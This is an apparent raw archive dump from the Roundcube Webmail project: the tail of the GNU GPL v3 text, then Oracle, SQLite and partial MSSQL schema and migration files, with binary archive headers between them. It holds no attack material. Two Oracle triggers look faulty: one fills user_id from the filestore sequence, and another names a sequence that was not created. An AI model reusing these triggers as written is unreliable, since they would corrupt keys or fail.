includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
PKh�\CaSQL/oracle/2018021600.sqlnu�[���CREATE TABLE "filestore" (
    "file_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE ON UPDATE CASCADE,
    "filename" varchar(128) NOT NULL,
    "mtime" integer NOT NULL,
    "data" long,
    CONSTRAINT "filestore_user_id_key" UNIQUE ("user_id", "filename")
);

CREATE SEQUENCE "filestore_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "filestore_seq_trig"
BEFORE INSERT ON "filestore" FOR EACH ROW
BEGIN
    :NEW."user_id" := "filestore_seq".nextval;
END;
/
PKh�\,���88SQL/oracle/2016100900.sqlnu�[���ALTER TABLE "session" MODIFY "ip" varchar(41) NOT NULL;
PKh�\ڪ����SQL/oracle/2020091000.sqlnu�[���CREATE TABLE "collected_addresses" (
    "address_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "name" varchar(255) DEFAULT NULL,
    "email" varchar(255) DEFAULT NULL,
    "type" integer NOT NULL
);

CREATE UNIQUE INDEX "collected_addresses_user_id_idx" ON "collected_addresses" ("user_id", "type", "email");

CREATE SEQUENCE "collected_addresses_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "collected_addresses_seq_trig"
BEFORE INSERT ON "collected_addresses" FOR EACH ROW
BEGIN
    :NEW."address_id" := "collected_addresses_seq".nextval;
END;
/
PKh�\/Y�:{{SQL/oracle/2016112200.sqlnu�[���DROP TABLE "cache";
DROP TABLE "cache_shared";

CREATE TABLE "cache" (
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "cache_key" varchar(128) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("user_id", "cache_key")
);

CREATE INDEX "cache_expires_idx" ON "cache" ("expires");


CREATE TABLE "cache_shared" (
    "cache_key" varchar(255) NOT NULL,
    "expires" timestamp with time zone DEFAULT NULL,
    "data" long NOT NULL,
    PRIMARY KEY ("cache_key")
);

CREATE INDEX "cache_shared_expires_idx" ON "cache_shared" ("expires");
PKh�\[�&SQL/oracle/2020122900.sqlnu�[���--emptyPKh�\]?rSQL/oracle/2015030800.sqlnu�[���-- emptyPKh�\wݥ`SQL/oracle/2018122300.sqlnu�[���ALTER TABLE "filestore" ADD COLUMN "context" varchar(32) NOT NULL;
UPDATE "filestore" SET "context" = 'enigma';
ALTER TABLE "filestore" DROP CONSTRAINT "filestore_user_id_key";
ALTER TABLE "filestore" ADD CONSTRAINT "filestore_user_id_key" UNIQUE ("user_id", "context", "filename");
PKh�\y5u�SQL/oracle/2022081200.sqlnu�[���-- SQLite/Postgres onlyPKh�\]?rSQL/oracle/2020020101.sqlnu�[���-- emptyPKh�\5{*�ttSQL/oracle/2020020100.sqlnu�[���ALTER TABLE "users" MODIFY "language" varchar(16) NOT NULL;
ALTER TABLE "dictionary" MODIFY "language" varchar(16);
PKh�\�'ɞ��SQL/oracle/2021081000.sqlnu�[���CREATE TABLE "responses" (
    "response_id" integer PRIMARY KEY,
    "user_id" integer NOT NULL
        REFERENCES "users" ("user_id") ON DELETE CASCADE,
    "changed" timestamp with time zone DEFAULT current_timestamp NOT NULL,
    "del" smallint DEFAULT 0 NOT NULL,
    "name" varchar(128) NOT NULL,
    "data" long NOT NULL,
    "is_html" smallint DEFAULT 0 NOT NULL
);

CREATE INDEX "responses_user_id_idx" ON "responses" ("user_id", "del");

CREATE SEQUENCE "responses_seq"
    START WITH 1 INCREMENT BY 1 NOMAXVALUE;

CREATE TRIGGER "responses_seq_trig"
BEFORE INSERT ON "responses" FOR EACH ROW
BEGIN
    :NEW."response_id" := "response_seq".nextval;
END;
/
PKh�\t�`f--SQL/oracle/2016081200.sqlnu�[���ALTER TABLE "session" DROP COLUMN "created";
PKh�\]?rSQL/oracle/2019092900.sqlnu�[���-- emptyPKh�\~5�GSQL/oracle/2021100300.sqlnu�[���-- SQLite onlyPKh�\QJ[���SQL/oracle/2015111100.sqlnu�[���ALTER TABLE "users" ADD "failed_login" timestamp with time zone DEFAULT NULL;
ALTER TABLE "users" ADD "failed_login_counter" integer DEFAULT NULL;
PKh�\�Q]�&&SQL/sqlite.initial.sqlnu�[���-- Roundcube Webmail initial database structure

-- 
-- Table structure for table users
-- 

CREATE TABLE users (
  user_id integer NOT NULL PRIMARY KEY,
  username varchar(128) NOT NULL default '',
  mail_host varchar(128) NOT NULL default '',
  created datetime NOT NULL default '0000-00-00 00:00:00',
  last_login datetime DEFAULT NULL,
  failed_login datetime DEFAULT NULL,
  failed_login_counter integer DEFAULT NULL,
  language varchar(16),
  preferences text DEFAULT NULL
);

CREATE UNIQUE INDEX ix_users_username ON users(username, mail_host);

-- 
-- Table structure for table contacts and related
-- 

CREATE TABLE contacts (
  contact_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  email text NOT NULL default '',
  firstname varchar(128) NOT NULL default '',
  surname varchar(128) NOT NULL default '',
  vcard text NOT NULL default '',
  words text NOT NULL default ''
);

CREATE INDEX ix_contacts_user_id ON contacts(user_id, del);


CREATE TABLE contactgroups (
  contactgroup_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default ''
);

CREATE INDEX ix_contactgroups_user_id ON contactgroups(user_id, del);


CREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
);

CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id);

-- 
-- Table structure for table collected_addresses
-- 

CREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
);

CREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email);

-- 
-- Table structure for table identities
-- 

CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
);

CREATE INDEX ix_identities_user_id ON identities(user_id, del);
CREATE INDEX ix_identities_email ON identities(email, del);

-- 
-- Table structure for table responses
-- 

CREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
);

CREATE INDEX ix_responses_user_id ON responses(user_id, del);

-- 
-- Table structure for table session
-- 

CREATE TABLE session (
  sess_id varchar(128) NOT NULL PRIMARY KEY,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  ip varchar(40) NOT NULL default '',
  vars text NOT NULL
);

CREATE INDEX ix_session_changed ON session (changed);

--
-- Table structure for table dictionary
--

CREATE TABLE dictionary (
  user_id integer DEFAULT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  language varchar(16) NOT NULL,
  data text NOT NULL
);

CREATE UNIQUE INDEX ix_dictionary_user_language ON dictionary (user_id, language);

--
-- Table structure for table searches
--

CREATE TABLE searches (
  search_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  "type" smallint NOT NULL DEFAULT '0',
  name varchar(128) NOT NULL,
  data text NOT NULL
);

CREATE UNIQUE INDEX ix_searches_user_type_name ON searches (user_id, type, name);

-- 
-- Table structure for table cache
-- 

CREATE TABLE cache (
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  cache_key varchar(128) NOT NULL default '',
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (user_id, cache_key)
);

CREATE INDEX ix_cache_expires ON cache(expires);

-- 
-- Table structure for table cache_shared
-- 

CREATE TABLE cache_shared (
  cache_key varchar(255) NOT NULL,
  expires datetime DEFAULT NULL,
  data text NOT NULL,
  PRIMARY KEY (cache_key)
);

CREATE INDEX ix_cache_shared_expires ON cache_shared(expires);

--
-- Table structure for table cache_index
--

CREATE TABLE cache_index (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    valid smallint NOT NULL DEFAULT '0',
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_index_expires ON cache_index (expires);

--
-- Table structure for table cache_thread
--

CREATE TABLE cache_thread (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    PRIMARY KEY (user_id, mailbox)
);

CREATE INDEX ix_cache_thread_expires ON cache_thread (expires);

--
-- Table structure for table cache_messages
--

CREATE TABLE cache_messages (
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    mailbox varchar(255) NOT NULL,
    uid integer NOT NULL,
    expires datetime DEFAULT NULL,
    data text NOT NULL,
    flags integer NOT NULL DEFAULT '0',
    PRIMARY KEY (user_id, mailbox, uid)
);

CREATE INDEX ix_cache_messages_expires ON cache_messages (expires);

--
-- Table structure for table filestore
--

CREATE TABLE filestore (
    file_id integer NOT NULL PRIMARY KEY,
    user_id integer NOT NULL
        REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
    context varchar(32) NOT NULL,
    filename varchar(128) NOT NULL,
    mtime integer NOT NULL,
    data text NOT NULL
);

CREATE UNIQUE INDEX ix_filestore_user_id ON filestore(user_id, context, filename);

--
-- Table structure for table system
--

CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
);

INSERT INTO system (name, value) VALUES ('roundcube-version', '2022081200');
PKh�\H�G��@�@SQL/mssql.initial.sqlnu�[���CREATE TABLE [dbo].[cache] (
	[user_id] [int] NOT NULL ,
	[cache_key] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL ,
	[expires] [datetime] NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_shared] (
	[cache_key] [varchar] (255) COLLATE Latin1_General_CS_AS NOT NULL ,
	[expires] [datetime] NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_index] (
	[user_id] [int] NOT NULL ,
	[mailbox] [varchar] (128) COLLATE Latin1_General_CS_AS NOT NULL ,
	[expires] [datetime] NULL ,
	[valid] [char] (1) COLLATE Latin1_General_CI_AI NOT NULL ,
	[data] [text] COLLATE Latin1_General_CI_AI NOT NULL 
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO

CREATE TABLE [dbo].[cache_thread] (
